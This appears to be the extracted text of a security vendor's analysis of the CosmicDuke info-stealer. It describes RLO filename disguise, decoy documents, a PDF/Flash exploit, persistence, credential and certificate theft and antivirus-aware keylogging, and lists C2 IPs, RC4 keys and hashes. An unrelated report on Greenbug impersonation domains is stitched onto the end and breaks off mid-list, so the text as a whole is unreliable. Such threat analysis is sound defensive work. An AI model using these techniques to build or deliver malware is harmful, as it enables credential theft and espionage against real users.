DOCUMENT-BASED EXPLOIT CosmicDuke malware samples that use exploits to gain entry onto a target system (referred to as exploit files in the rest of this document) start with a malicious Flash object embedded into a PDF file.
When the file is launched, the object exploits the known CVE-2011-0611 vulnerability in specific versions of Adobe Flash, Reader and Acrobat products.
Unlike the CosmicDuke files geared towards social engineering, the exploit files do not actually display any documents to the user as a form of distraction the malware simply straightaway exploits the vulnerability.
SOCIAL ENGINEERING Less technically challenging CosmicDuke samples use simple social engineering to trick the user into willingly launching the attack file.
Once launched, the file drops the malware onto the system (such files are therefore referred to as droppers in the rest of this documents).
To do so, the malwares executable file is first disguised as an image or document to make it seem innocuous.
When launched, a document or image is displayed in order to draw the users attention away from any background activity.
In the meantime, the malwares malicious files are silently installed and executed on the system.
4 COSMICDUKE COSMU WITH A TWIST OF MINIDUKE TECHNICAL DETAILS CosmicDuke samples can be divided into 3 distinct groups based on similarities between the CC servers they contact, file characteristics and decoy document used.
The full details of how the samples were grouped is listed on page 11 Figure 2 at left provides a quick summary of the grouping as they relate to how CosmicDuke is delivered, and the decoy documents shown.
The first group of samples (Group 1) is spread using 3 dropper files that display specific decoy documents.
The second sample group (Group 2) uses both exploit-loaded files and dropper files.
The third group (Group 3) is rather an exception, as it does not use the droppers or exploits listed here for the sake of simplicity, we will exclude considering Group 3s delivery method.
DROPPER: RLO CosmicDukes author(s) disguised the fact that the malware is an executable file by using the Right-to-Left Override (RLO) feature in Windows to hide the files correct file extension, .exe or .scr, and replace it with .jpg, .pdf or .doc, in order to make the file appear to be an innocuous document or image.
Image 1 is a screenshot of how the filenames look like in Windows 7.
The real file extension for the top four files is .scr, while the real extension for the bottom one is .exe.
Note that the attacker has also carefully changed the icon of the executable to reflect the fake filetype for the first four.
The bottom file is a curious exception, as it does not use a PDF icon as would be expected with a .pdf file extension instead, it uses an NVIDIA icon, most likely to reflect the fact that the product name of the executable is listed as NVIDIA Update Components in the files version information.
This seems to be a common fake product name used in the latest Cosmu samples.
Meanwhile, the filename readily visible to the users is translated from Turkish as civilian crisis center status report.
The use of RLO is a smart move from the attackers.
Why go through the trouble of exploiting anything if you can simply trick the user into double-clicking an executable that looks a lot like a document file?
As the screenshot demonstrates, unchecking Hide extensions for known filetypes does not help.
The three- letter file extensions seen at the end of the filename is not the real file extension.
Even though the information in the Type column is correct, most of the users probably do not even check it.
Image 1: Screenshot of folder containing CosmicDuke dropper files GROUP 1 DROPPERS: rcs..doc rcs.18.jpg rcs.DSC_1365527283.jpg GROUP 3 ?
GROUP 2 EXPLOITS DROPPERS FIGURE 2: COSMICDUKE SAMPLES GROUPED BY INFECTION VECTOR 5 COSMICDUKE COSMU WITH A TWIST OF MINIDUKE DROPPER: DECOYS CosmicDuke dropper files all display some kind of a decoy document or image to distract the user when the attack file is launched.
The following are the droppers used by Group 1.
Here are the filenames of the decoys, as displayed in Windows, and the decoy images or files they show when launched: y rcs..doc   - Image 2 y rcs.18.jpg    - Image 3 y rcs.DSC_1365527283.jpg - Image 4 The decoys are interesting.
means order in Russian.
Based on the characters -1295 and found in the decoy, the document looks like an order for growth hormones.
The document contains full delivery address, including the name of the person placing the order.
An interesting detail about the image file of a receipt (Image 3) shown by rcs.18.jpg is that it contains EXIF metadata, including the date when the photo was taken and the model of the mobile phone that was used to take the photo.
Part of this EXIF metadata is shown in Image 3a.
The third dropper file weve seen uses the filename rcs.
Ukraine-Gas-Pipelines-Security-Report-March-2014.pdf, and displays the decoy document shown in Image 6.
This particular dropper file is notable in that its info-stealer (SHA1:f513b21738ae3083d79e4fa1039889e1c3efff58) is the same one used by the exploit file named Bulletin-PISM- No-31-(625)-March-10-2014.pdf.
Image 3a: EXIF metadata for file from image 3 Image 4: Decoy shown by rcs.DSC_1365527283.jpg Image 3: Decoy shown by rcs.18.jpg Image 2: Decoy shown by rcs..doc Image 6: Decoy document shown by rcs.
Ukraine-Gas-Pipelines-Security-Report-March-2014.pdf 6 COSMICDUKE COSMU WITH A TWIST OF MINIDUKE 1.
Polish Institute of International Affairs http://www.pism.pl/en 2.
CIRCL - Computer Incident Response Center Luxembourg Analysis of a stage 3 Miniduke sample published 30 May 2013 http://www.circl.lu/assets/files/tr-14/circl-analysisreport-miniduke-stage3-public.pdf 3.
Laboratory of Cryptography and System Security (CrySyS Lab) MiniDuke: Indicators published 27 February 2013 http://www.crysys.hu/miniduke/miniduke_indicators_public.pdf FIGURE 4: MILESTONES IN PARALLEL LOADER USE IN COSMU AND MINIDUKE FAMILIES Mar 24 2011 Apr 18 2014 Dec 14 2013 Nov 13  2012 Jun 18 2012 MiniDuke 2014 2013 2012 2011 EXPLOIT The code used by CosmicDuke to exploit the CVE-2011- 0611 vulnerability appears to be derived from this proof- of-concept code that was made available in early 2011: y http://www.exploit-db.com/exploits/17473/ The samples we analyzed of the exploit-based CosmicDuke variety had the file names and SHA1 values listed in Figure 3 at right (see Appendix A  Samples for more details).
Some of these exploit files have interesting filenames, such as dip.mail march.pdf and Bulletin-PISM-No- 31-(625)-March-10-2014.pdf.
The PISM mentioned in the latter presumably refers to the Polish Institute of International Affairs [1].
LOADER: MINIDUKE 3RD STAGE The CosmicDuke samples we analyzed used the same loader as MiniDukes stage 3 [2] samples, making this the first occasion in which weve seen other malware using this particular loader.
The parallel usage of the loader in the CosmicDuke and MiniDuke families is interesting.
The oldest samples we have of this loader that loads Cosmu malware show the compilation date of the loader as March 24 2011, which predates the oldest publicly documented MiniDuke sample (with a recorded loader compilation date of June 18 2012).
The earlier use of the loader with a Cosmu payload leads us to suspect the existence of a link between the author(s) of Cosmu and MiniDuke.
The most common compilation date seen for the loaders that load the Cosmu malware is November 13 2012.
Perhaps coincidentally, we found one MiniDuke sample (originally reported by CrySys [3]) that also shows the same compilation date.
In this case however, the MiniDuke component is actually a downloader it connects to an IP address in Turkey, and when it receives a response, decrypts and executes it.
Also of interest is that once the MiniDuke loader was updated, we saw CosmicDuke samples take the updated loader into use in mid-April 1 2014, a few months after MiniDuke started using the latest loader in mid-December 2013.
It seems possible that the actors behind the two malware families share code and/or tools.
[
Unknown] 353540c6619f2bba2351babad736599811d3392e Bulletin-PISM-No-31-(625)-March-10-2014.pdf 65681390d203871e9c21c68075dbf38944e782e8 paper_format.pdf 7631f1db92e61504596790057ce674ee90570755 March.pdf 8949c1d82dda5c2ead0a73b532c4b2e1fbb58a0e dip.mail march.pdf c671786abd87d214a28d136b6bafd4e33ee66951 nota.pdf 5295b09592d5a651ca3f748f0e6401bd48fe7bda FIGURE 3: FILENAMES AND SHA1 VALUES OF COSMICDUKE EXPLOIT FILES Nov 13 2012 Cosmu Based on the compilation timestamps of the loader Original MiniDuke loader Updated MiniDuke loader 7 COSMICDUKE COSMU WITH A TWIST OF MINIDUKE MAIN COMPONENT: INFO-STEALER The Cosmu info-stealer is the main component of the CosmicDuke malware.
The technical description of the info-stealer is based on analysis of the following sample: SHA1: b072577447cdf3936d95e612057e510dd3435963.
PERSISTENCE Cosmu has a couple of different mechanisms for achieving persistence on the system.
It creates a scheduled task and installs a Windows service.
The scheduled task is typically named Watchmon Service.
It executes the malware at system startup.
The service typically has name javamtsup, and the display name is Java(TM) Virtual Machine Support Service.
The size of the service binary on disk varies, but typically the real size is 5120 bytes (based on PE headers) and the SHA1 value is 7803f160af428bcfb4b9ea2aba07886f232cde4e.
The service itself is very straightforward: it opens a handle to explorer.exe process, duplicates its process token, reads the path of the actual malware binary from registry (key HKLM\Software\JavaSoft, value Supplement) and starts the malware using the duplicated process token.
Cosmu copies itself with a couple of different filenames to WINDIR\system32.
The binaries on the disk have a variable length of zero-padding but they are all essentially copies of the original malware binary.
The filenames for both the Cosmu copies and the service binary are generated by randomly taking two items from the following list and concatenating them, resulting in filenames like usbmon.exe, urllsa.exe, and rasdns.exe: y nt y inf y svc y ras y pptp y obj y net y host y lsa y cms y dsp y sql y dhcp y srv y dns y ip PASSWORD STEALING The malware targets the following software: y Instant messaging Skype The malware steals Skype login MD5.
The attacker can obtain victims Skype username and password by using a bruteforce or dictionary attack to crack the MD5.
The attack was publicly documented in 2006  [4].
Google Talk Cosmu decrypts and steals saved credentials from Google Talk.
MSN Messenger Cosmu decrypts and steals saved credentials from MSN Messenger.
y Browsers Google Chrome Cosmu steals saved credentials from Google Chrome.
Internet Explorer Cosmu steals autocomplete passwords from IE.
It also collects information about visited websites, i.e., browsing history.
Firefox Cosmu steals saved credentials and the associated URLs from Firefox.
The malware does not decrypt the credentials.
y Email clients Thunderbird Cosmu steals saved credentials and the associated mail server hostnames from Thunderbird.
The malware does not decrypt the credentials.
Bat email client Cosmu steals credentials from Bat email client by parsing account.cfn and decrypting the credentials.
Outlook Express Cosmu steals saved credentials and information about the associated mail server from Outlook Express.
Outlook Cosmu steals saved credentials and information about the associated mail server from Outlook.
Google Desktop Cosmu decrypts and steals saved credentials from Google Desktop.
y fw y pc y ctf y mon y pdb y ms y cpl y sys y ui y schd y tapi y eng y cfg y api y fs y url y env y lib y udf y wm y win y id y wdm y mgr 4.
Fabrice Desclaux  Kostya Kortchinsky Vanilla Skype part 2 published June 17th 2006 http://www.recon.cx/en/f/vskype-part2.pdf 8 COSMICDUKE COSMU WITH A TWIST OF MINIDUKE KEY LOGGER The keylogger is implemented using the GetKeyboardState API.
Key logging is skipped if one of the following AV process is running on the system: y avp.exe y acs.exe y outpost.exe y mcvsescn.exe y mcods.exe y navapsvc.exe y kav.exe y AvastSvc.exe y AvastUi.exe y nod32krn.exe y nod32.exe y ekern.exe y dwengine.exe y MsMpEng.exe y msseces.exe y ekrn.exe y savservice.exe y scfservice.exe y savadminservice.exe SCREENSHOTTER Cosmu takes screenshots periodically and sends them to the attacker, together with other stolen data.
CLIPBOARD STEALER Cosmu copies the content of the clipboard every 30 seconds and sends those to the attacker together with other stolen data.
CONFIGURATION The configuration can contain the following information: y HTTP server IPs and URL paths y FTP server IPs, usernames and passwords y WebDav IPs, usernames and passwords y Filename prefix and file extension for downloaded files y Filename prefix and file extension for exfiltrated data In all the configurations we have seen, the servers are specified using IP addresses, not domain names.
The configuration is embedded into the info-stealer.
It is compressed using an algorithm similar to but simpler than LZNT-1 [5].
y Others Windows credentials LM and NT hashes, cached domain passwords, LSA secrets.
WLAN Cosmu uses WlanGetProfile to retrieve plain text keys for WLANs.
CERTIFICATE STEALING Cosmu exports certificates and, if available, the associated private keys from system store by calling PFXExportCertStoreEx.
The malware uses the password saribas to encrypt the exported data.
TARGETED FILETYPES Cosmu searches the hard drives and network drives for files that match any of the below patterns: y .doc y .xps y .xls y .ppt y .pps y .wps y .wpd y .ods y .odt y .lwp y .jtd y .pdf y .zip y .rar y .docx y .url y .xlsx y .pptx y .ppsx y .pst y .ost y psw y pass y login y admin y sifr y sifer y vpn y .jpg y .txt y .lnk Patterns sifr and sifer are interesting because they clearly target non-English filenames, given that sifr is the Arabic word for zero (and interestingly enough, also the base word for an encryption cipher in many languages).
Cosmu searches removable drives for a broader set of files only files whose filename matches any of the following patterns are skipped/ignored: y .exe y .ndb y .mp3 y .avi An interesting detail is that Cosmu skips searching the removable drive if the volume name is trandescend (case insensitive comparison).
5.
Microsoft Developer Network 2.5 LZNT1 Algorithm Details http://msdn.microsoft.com/en-us/library/jj665697.aspx 9 COSMICDUKE COSMU WITH A TWIST OF MINIDUKE NETWORK COMMUNICATIONS The sample makes HTTP GET requests to the server(s) specified in the configuration.
The GET request contains the following fields in this order: y m or mgn y Auth y Session y DataID y FamilyID y BranchID y VolumeID y User y Query.
The first field, m or mgn, does not have any value.
The value of Auth is the ID of the sample.
It is the same 8-character hex digit that can be found in the PDB path, among other places.
The value of Query depends on the request.
It is either encoded using URL safe base64, or then the value is a 1792-character string.
That string is composed of a 256-character string that is repeated seven times.
The 256-character string is generated by selecting characters randomly from the following 32-character alphabet: abcdefghijklmnopqrstuvwxyz012345 The malware uses the FTP servers and WebDav servers both for exfiltrating the collected data and for updating the malware.
All servers used by the info-stealers listed in Appendix A Samples are listed in Appendix B  Servers.
RC4 ENCRYPTION Cosmu uses RC4 to decrypt incoming data and encrypt outgoing data.
The RC4 routine is not standard RC4, but instead of an intentional customization it seems that the implementation is simply buggy.
The mistake is illustrated in Figure 5 that shows a Python re-implementation of the buggy RC4.
All RC4 keys are 32 bytes.
Here are the known keys: y pHG5AS4deKLil9ADdR2BcA1hTNm0FQz3 y 3Pf4GxTaDnx50qWe2Xz62uSptFsR3g3P y AdjustKernelTableFromSSDTSpace2\x00 y FB7V61C7509E4L99BDZ7F74A79A69CDF Even though only the first 32 bytes are used as the RC4 key, the first two RC4 keys in the above list are followed by FIGURE 5: PYTHON IMPLEMENTATION OF THE BUGGY RC4 ENCRYPTION an interesting string: Atruefriendissomeonewhothinksthatyouareagoodegg eventhoughheknowsthatyouareslightlycrackedgroove A true friend is someone who thinks that you are a good egg even though he knows that you are slightly cracked is a Bernard Meltzer quote.
SAMPLES COMPARISON A comparison of the compilation times of the samples, and of other similarities observed in the file characteristics, reveals some interesting patterns.
For more details, see Appendix A  Samples.
LEGACY CREDENTIALS AND FTP FOLDER STRUCTURE The oldest Cosmu samples we saw have a compilation timestamp of 2001-09-25.
Since it is possible for the compilation timestamp to be manipulated, it may be that the samples are not that old.
We have however not seen any samples that would give us reason to suspect that the timestamp has been tampered with.
These old samples do not use the MiniDuke loader and therefore are not discussed in detail in this analysis.
They do however show some characteristics that link them to these fresh variants.
For example, the credentials and same FTP folder structure used by the old samples have been used on another Cosmu FTP server that is still active.
10 COSMICDUKE COSMU WITH A TWIST OF MINIDUKE Jul 6 May 28 Jun 13 Feb 7 Jul 27 Apr 18 Mar 3 Mar 4 Mar 5 Mar 6 Apr 11 Feb 27 Nov 13 Dec  4 Jun 20 Aug 2 Sep  3 2012 2013 2014 4fc6701a621f2a5ce3451c7969e4361bc3b836eb 2c7c9ceeb61eac89e18b6e4ae0c855d982a0f232 fb3b8f6494b211386381a7e4f6524d3e4643c9e9 b072577447cdf3936d95e612057e510dd3435963 f513b21738ae3083d79e4fa1039889e1c3efff58 c715e94dd187f3626f1b3e1511ae11525abf91e6 3e76dfa82161c64417e214b7607ad22ab40a8d69 ef3ce46a81d3f30fbcfbe5e0db18284329cc0d99 620165967306d08d6a38dbd1381d84c71d62dea2 Info-stealersLoaders .tmp 4e3c9d7eb8302739e6931a3b5b605efe8f211e51 55f83ff166ab8978d6ce38e80fde858cf29e660b 6db1151eeb4339fc72d6d094e2d6c2572de89470 ed14da9b9075bd3281967033c90886fd7d4f14e5 Generated with an algorithm 580eca9e36dcd1a2deb9075bcae90afee46aace2 6a43ada6a3741892b56b0ef38cdf48df1ace236d 8aa9f5d426428ec360229f4cb9f722388f0e535c .tmp or generated with an algorithm 5c5ec0b5112a74a95edc23ef093792eb3698320e Sivil Durum Raporu Kriz Merkexe.yazi.pdf ccb29875222527af4e58b9dd8994c3c7ef617fd8 Droppers rcs..doc 0e5f55676e01d8e41d77cdc43489da8381b68086 rcs.
Ukraine-Gas-Pipelines- Security-Report-March-2014.pdf 5a199a75411047903b7ba7851bf705ec545f6da9 rcs.18.jpg 7631f1db92e61504596790057ce674ee90570755 rcs.DSC_1365527283.jpg f621ec1b363e13dd60474fcfab374b8570ede4de FIGURE 6: TIMELINE OF COMPILATION TIMESTAMPS  FILENAMES FOR COSMICDUKES DROPPERS, LOADERS  INFO-STEALERS .tmp 9700c8a41a929449cfba6567a648e9c5e [Unknown] 764add69922342b8c4200d64652fbee1376adf1c [Unknown] b54b3c67f1827dab4cc2b3de94ff0af4e5db3d4c [Unknown] fecdba1d903a51499a3953b4df1d850fbd5438bd 16aa08ba5e1d27ac68b6ebf24d846bf6f2a204d1 853679ae3172e448d676cbc9503f1474a5ca656f 98f81b03a3b0f7b0b914d783683817953e8d4cf0 f9ba115b673be04ac09c9ee497ef03c5aa75429e 11 COSMICDUKE COSMU WITH A TWIST OF MINIDUKE COMPILATION TIMELINE All droppers were compiled on 2013-08-02.
The majority of the loaders were compiled on 2012-11- 13, though one was compiled on 2012-12-04 - oddly enough, the same day when one MiniDuke payload reported by BitDefender [6] and Kaspersky [7], (md5: 6bc34809e44c40b61dd29e0a387ee682) was compiled.
This was a downloader that connects to an IP address in Turkey.
As the server is no longer up however, we were unable to investigate it further.
The compilation timestamps of the info-stealers show more variation.
The oldest variant loaded with the MiniDuke loader was compiled on 2012-12-04.
Most of the info-stealers were compiled in February and March 2014.
INFO-STEALER GROUPING The info-stealer samples we have analyzed can be also be separated into three distinct groupings based on the following attributes: y The program database (PDB) path y Server address and credentials y The loader y Filenames and decoy content Full list of the servers contacted by samples in these groupings in available in Appendix B  Servers on page 15.
Group 1 All samples in this group have a PDB path on the infected systems C:\ drive that contains the directory botgenstudio.
212.76.128.149 178.170.164.84 195.43.94.104 RUSSIA 91.224.141.235 NETHERLANDS 94.242.199.88 LUXEMBOURG 46.246.120.178 SWEDEN 199.231.188.109 UNITED STATES 95.154.228.106 UNITED KINGDOM 188.241.115.41 ROMANIA 178.63.149.142 GERMANY 176.74.216.14 CZECH REPUBLIC 178.21.172.157 GREECE 188.116.32.164 POLAND GROUP 1 RC4 KEY: FB7V61C7509E4L99 BDZ7F74A79A69CDF DELIVERY: 3 DROPPERS, NO EXPLOITS PBD PATH CONTAINS: BOTGENSTUDIO GROUP 3 RC4 KEYS: PHG5AS4DEKLIL9ADD R2BCA1HTNM0FQZ3 3PF4GXTADNX50QW E2XZ62USPTFSR3G3P DELIVERY: ?
PBD PATH CONTAINS: KSK (LATEST SAMPLES) GROUP 2 RC4 KEY: ADJUSTKERNELTABLE FROMSSDTSPACE2\X00 DELIVERY: DROPPERS, EXPLOITS PBD PATH CONTAINS: NITRO AND SVA FIGURE 7: INFO-STEALER GROUPS CC SERVERS USED PER GROUP 6.
BitDefender M. Tivadar, B. Balazs  C.Istrate A Closer Look at MiniDuke http://labs.bitdefender.com/wp-content/uploads/downloads/2013/04/MiniDuke_Paper_Final.pdf 7.
Securelist C. Raiu, I. Soumenkov, K. Baumgartner  V. Kamluk The MiniDuke Mystery: PDF 0-day Government Spy Assembler 0x29A Micro  Backdoor  https://www.securelist.com/en/downloads/vlpdfs/themysteryofthepdf0-dayassemblermicrobackdoor.pdf DOWN IN JUNE 2014 LIVE IN JUNE 2014 12 COSMICDUKE COSMU WITH A TWIST OF MINIDUKE y c:\botgenstudio\generations\8f1777b0\bin\Bot.pdb y c:\botgenstudio\generations\fed14e50\bin\Bot.pdb y c:\botgenstudio\generations\55ff7700\bin\Bot.pdb All samples in this group use the same RC4 key: FB7V61C7509E4L99BDZ7F74A79A69CDF The servers used by this group are exclusive to this group, i.e., the other sample groups do not use any of the servers group 1 uses.
The IP address of the servers used by this group of samples are in Luxembourg, Netherlands, and Russia.
See Appendix B  Servers for details.
We have seen three different droppers for this sample group.
All droppers use the RLO trick.
We have not found any exploits associated to this group of samples.
Group 2 All samples in this group have a PDB path that contains directories named NITRO and SVA.
The PDB path is always on D:\ drive.
Here are some examples: y D:\production\nitro\sva\generations\809113dd\bin\ Bot.pdb y D:\SVA\NITRO\PRODUCTION\Generations\805B1D01\ bin\bot.pdb y D:\PRODUCTION\NITRO\SVA\Generations\8052B6C0\ bin\Bot.pdb y D:\PRODUCTION\NITRO\SVA\Generations\80B8A0BA\ bin\bot.pdb All samples except one in this group use PDF files with exploits as an infection vector.
The sole exception is sha1:98f81b03a3b0f7b0b914d783683817953e8d4cf0.
It does not use an exploit and it does not use a dropper instead the loader has a filename (Sivil Durum Raporu Kriz Merk?fdp.izay.exe) that uses the same RLO trick used in Group 1 samples.
Another interesting detail for this sample is the PDB path: d:\sva\nitro\botgenstudio\interface\ generations\80ddfcc1\bin\Bot.pdb Even though this contains both SVA and NITRO, it also contains botgenstudio, again making it similar to Group 1.
One other sample in Group 2 (sha1: fb3b8f6494b211386381a7e4f6524d3e4643c9e9) shows a similar PDB path.
The servers used by this group are exclusive to this group, i.e., the other sample groups do not use any of the servers group 2 uses.
Group 3 The most recent CosmicDuke samples all belong to this group.
Unlike Groups 1 and 2, no exploits or droppers are known to be associated with Group 3 samples, and the loader filenames do not use the RLO trick.
As such, we will not cover Group 3s delivery method further.
Of more interest with Group 3 is that older samples within this groupin show some differences from the latest variants.
A few older samples in Group 3 still use the original MiniDuke loader, while most recent ones are using the updated MiniDuke loader.
Another difference is that unlike the older ones, the latest samples use the following PDB path: y D:\PRODUCTION\NITRO\KSK\Generations\70BCDEA1\ bin\Bot.pdb.
This is quite similar to Group 2, though it seems SVA has been replaced by KSK.
All samples in Group 3 connect to an FTP server at IP 188.116.32.164 using the same username (adair) and password.
This is the only server that the samples with the original MiniDuke loader use.
Meanwhile, the most recent sample  in Group 3, which uses the updated loader with t the SHA1 value fecdba1d903a51499a3953b4df1d850fbd5438bd, also connects to another server at IP address 178.21.172.157.
The updated loader has PDB path, C:\Projects\NEMESIS\ nemesis-gemina\nemesis\bin\carriers\ezlzma_x86_exe.
pdb.
13 COSMICDUKE COSMU WITH A TWIST OF MINIDUKE APPENDIX A  SAMPLES Exploit files First seen (YYYY-MM-DD) Filename SHA1 Size 2013-11-04 - 353540c6619f2bba2351babad736599811d3392e 946124 2014-03-20 nota.pdf 5295b09592d5a651ca3f748f0e6401bd48fe7bda 917093 2014-03-14 dip.mail march.pdf c671786abd87d214a28d136b6bafd4e33ee66951 919914 2014-03-11 Bulletin-PISM-No-31-(625)-March-10-2014.pdf 65681390d203871e9c21c68075dbf38944e782e8 917093 2014-03-05 March.pdf 8949c1d82dda5c2ead0a73b532c4b2e1fbb58a0e 908285 2013-07-01 paper_format.pdf 74bc93107b1bbae2d98fca6d819c2f0bbe8c9f8a 917093 Droppers First seen (YYYY-MM-DD) Filename SHA1 Compiled (All times in UTC) Size 2014-04-27 rcs.DSC_1365527283.jpg f621ec1b363e13dd60474fcfab374b8570ede4de Fri Aug  2 10:50:12 2013 430080 2014-03-18 rcs.18.jpg 7631f1db92e61504596790057ce674ee90570755 Fri Aug  2 10:50:12 2013 811008 2014-03-13 rcs.
Ukraine-Gas-Pipelines- Security-Report- March-2014.pdf 5a199a75411047903b7ba7851bf705ec545f6da9 Fri Aug  2 10:50:12 2013 942080 2013-11-11 rcs..doc 0e5f55676e01d8e41d77cdc43489da8381b68086 Fri Aug  2 10:50:12 2013 405504 Loaders First seen (YYYY-MM-DD) Filename SHA1 Compiled (All times in UTC) Size 2013-11-04 .tmp 9700c8a41a929449cfba6567a648e9c5e4a14e70 Tue Dec  4 14:25:19 2012 862720 2014-06-03 Unknown fecdba1d903a51499a3953b4df1d850fbd5438bd Fri Apr 18 06:53:42 2014 738304 2014-05-26 Unknown b54b3c67f1827dab4cc2b3de94ff0af4e5db3d4c Tue Nov 13 09:52:51 2012 792064 2014-05-23 Unknown 764add69922342b8c4200d64652fbee1376adf1c Fri Jul 27 11:37:20 2012 504832 2014-04-27 Generated by the dropper 6a43ada6a3741892b56b0ef38cdf48df1ace236d Tue Nov 13 09:53:11 2012 697856 2014-03-26 .tmp or generated by the dropper 5c5ec0b5112a74a95edc23ef093792eb3698320e Tue Nov 13 09:51:48 2012 732160 2014-03-20 .tmp 55f83ff166ab8978d6ce38e80fde858cf29e660b Tue Nov 13 09:53:11 2012 697856 2014-03-18 Generated by the dropper 8aa9f5d426428ec360229f4cb9f722388f0e535c Tue Nov 13 09:53:11 2012 697856 2014-03-14 .tmp 6db1151eeb4339fc72d6d094e2d6c2572de89470 Tue Nov 13 09:52:51 2012 744960 2014-03-05 .tmp ed14da9b9075bd3281967033c90886fd7d4f14e5 Tue Nov 13 09:53:11 2012 697856 2013-07-22 Sivil Durum Raporu Kriz Merkexe.yazi.pdf ccb29875222527af4e58b9dd8994c3c7ef617fd8 Tue Nov 13 09:53:11 2012 697856 2013-11-14 Generated by the dropper 580eca9e36dcd1a2deb9075bcae90afee46aace2 Tue Nov 13 09:53:11 2012 697856 2013-07-16 .tmp 4e3c9d7eb8302739e6931a3b5b605efe8f211e51 Tue Nov 13 09:53:11 2012 697856 14 COSMICDUKE COSMU WITH A TWIST OF MINIDUKE APPENDIX A  SAMPLES (COND) Info-stealers The filenames for all Info-stealer samples are all generated at runtime (see the Persistence section on page 7).
First seen (YYYY-MM-DD) SHA1 Compiled (All times in UTC) Size 2013-11-04 4fc6701a621f2a5ce3451c7969e4361bc3b836eb Tue Dec  4 14:13:53 2012 352256 2014-06-03 16aa08ba5e1d27ac68b6ebf24d846bf6f2a204d1 Wed May 28 14:40:02 2014 129024 2014-05-26 853679ae3172e448d676cbc9503f1474a5ca656f Fri Feb  7 10:02:26 2014 124416 2014-05-23 f9ba115b673be04ac09c9ee497ef03c5aa75429e Thu Jun 13 14:29:06 2013 122880 2014-04-27 ef3ce46a81d3f30fbcfbe5e0db18284329cc0d99 Fri Apr 11 09:38:43 2014 212992 2014-03-20 fb3b8f6494b211386381a7e4f6524d3e4643c9e9 Thu Feb 27 07:40:23 2014 178688 2014-03-18 b072577447cdf3936d95e612057e510dd3435963 Mon Mar  3 13:07:34 2014 208896 2014-03-14 3e76dfa82161c64417e214b7607ad22ab40a8d69 Thu Mar  6 13:14:26 2014 188416 2014-03-11 f513b21738ae3083d79e4fa1039889e1c3efff58 Tue Mar  4 14:37:15 2014 173568 2014-03-05 c715e94dd187f3626f1b3e1511ae11525abf91e6 Wed Mar  5 10:30:04 2014 183808 2013-11-11 2c7c9ceeb61eac89e18b6e4ae0c855d982a0f232 Tue Sep  3 13:13:56 2013 172032 2013-07-22 98f81b03a3b0f7b0b914d783683817953e8d4cf0 Sat Jul  6 14:46:59 2013 176128 2013-07-01 620165967306d08d6a38dbd1381d84c71d62dea2 Thu Jun 20 10:09:59 2013 388608 15 COSMICDUKE COSMU WITH A TWIST OF MINIDUKE IP Address Sample Group Country Protocol Live in June 2014?
178.21.172.157 3 Greece FTP, HTTP Yes 188.116.32.164 3 Poland FTP, HTTP Yes 176.74.216.14 2 Czech Republic FTP, HTTP Yes 178.63.149.142 2 Germany FTP, HTTP, WebDav Yes 188.241.115.41 2 Romania FTP, HTTP, WebDav No 195.43.94.104 2 Russia FTP, HTTP Connection refused 95.154.228.106 2 United Kingdom FTP, HTTP Yes 199.231.188.109 2 United States FTP, HTTP Yes 46.246.120.178 2 Sweden FTP, HTTP Yes 94.242.199.88 1 Luxembourg FTP, HTTP Yes 178.170.164.84 1 Russia FTP, HTTP Yes 212.76.128.149 1 Russia FTP, HTTP Yes 91.224.141.235 1 Netherlands FTP, HTTP Yes APPENDIX B  SERVERS For more information, please contact: viruslabf-secure.com For an electronic version of this document, please go to: http://www.f-secure.com/en/web/labs_global/whitepapers/technical Introduction Scope Target Arrival Infection Data theft Data transmission Technical details Dropper: RLO Dropper: Decoys Exploit Loader: MiniDuke 3rd Stage Main Component: Info-stealer RC4 Encryption Samples Comparison APPENDIX A  SAMPLES APPENDIX b  servers
Iranian Threat Agent Greenbug Impersonates Israeli High- Tech and Cyber Security Companies clearskysec.com /greenbug/ Iranian Threat Agent Greenbug  has been registering domains similar to those of Israeli High-Tech and Cyber Security Companies.
On 15 October 2017 a sample of ISMdoor was submitted to VirusTotal from Iraq.
The sample name was WmiPrv.tmp (f5ef3b060fb476253f9a7638f82940d9) and it had the following PDB string: C:\Users\Void\Desktop\v 10.0.194\x64\Release\swchost.pdb Two domains were used for command and control: thetareysecurityupdate[.
]com securepackupdater[.
]com By pivoting off the registration details and servers data of the two domains we discovered others registered by the threat agent.
Eight contain the name of Israeli high-tech and cyber security companies and one of a Saudi Arabian testing  commissioning of major electrical equipment company.
We estimate that the domains were registered in order to be used when targeting these companies, organisations related to them, or unrelated third parties.
However, we do not have any indication that the companies were actually targeted or otherwise impacted.
Below are the malicious domains and the companies whos names were used.
Malicious Domain Impersonated company Registration date winsecupdater[.
]com 11/6/2016 dnsupdater[.
]com 12/4/2016 winscripts[.
]net 3/4/2017 allsecpackupdater[.
]com Uncertain 4/8/2017 lbolbo[.
]com 4/8/2017 securepackupdater[.
]com  Uncertain 4/8/2017 thetaraysecurityupdate[.
]com ThetaRay (thetaray.com)  An Israeli cyber security and big data analytics company 4/8/2017 ymaaz[.
]com YMAAZE (ymaaze.com)  A Saudi Arabian testing commissioning of major electrical equipment company 4/8/2017 oospoosp[.
]com 8/9/2017 osposposp[.
]com 8/9/2017 znazna[.
]com 8/9/2017 1/4 http://www.clearskysec.com/greenbug/ http://www.clearskysec.com/ismagent/ https://researchcenter.paloaltonetworks.com/2017/07/unit42-oilrig-uses-ismdoor-variant-possibly-linked-greenbug-threat-group/ http://www.clearskysec.com/wp-content/uploads/2017/10/ISMDOOR.jpg mbsmbs[.
]com 8/9/2017 outbrainsecupdater[.
]com Outbrain (outbrain.com) A major Israeli online advertising company 8/9/2017 securelogicupdater[.
]com SecureLogic (space-logic.com)  Likely an Israeli marketer of airport security systems by the same name.
Other companies with the same name exist.
8/9/2017 benyaminsecupdater[.
]com  Uncertain 8/9/2017 wixwixwix[.
]com Wix (wix.com)  A major Israeli cloud-based web development platform 8/9/2017 biocatchsecurity[.
]com Biocatch (biocatch.com)  an Israeli company developing technology for behavioral biometrics for fraud prevention and detection 10/14/2017 corticasecurity[.
]com Cortica (cortica.com)  an Israeli company developing Artificial Intelligence technology 10/14/2017 covertixsecurity[.
]com Covertix (covertix.com)  An Israeli data security company 10/14/2017 arbescurity[.
]com Arbe Robotics (arberobotics.com) An Israeli company developing autonomous driving technology 10/14/2017 Indicators of compromise Indicators of compromise are presented below and are available on PassiveTotal.
Domain allsecpackupdater[.
]com Domain znazna[.
]com Domain arbescurity[.
]com Domain benyaminsecupdater[.
]com Domain biocatchsecurity[.
]com Domain corticasecurity[.
]com Domain covertixsecurity[.
]com Domain dnsupdater[.
]com Domain lbolbo[.
]com Domain mbsmbs[.
]com Domain ntpupdateserver[.
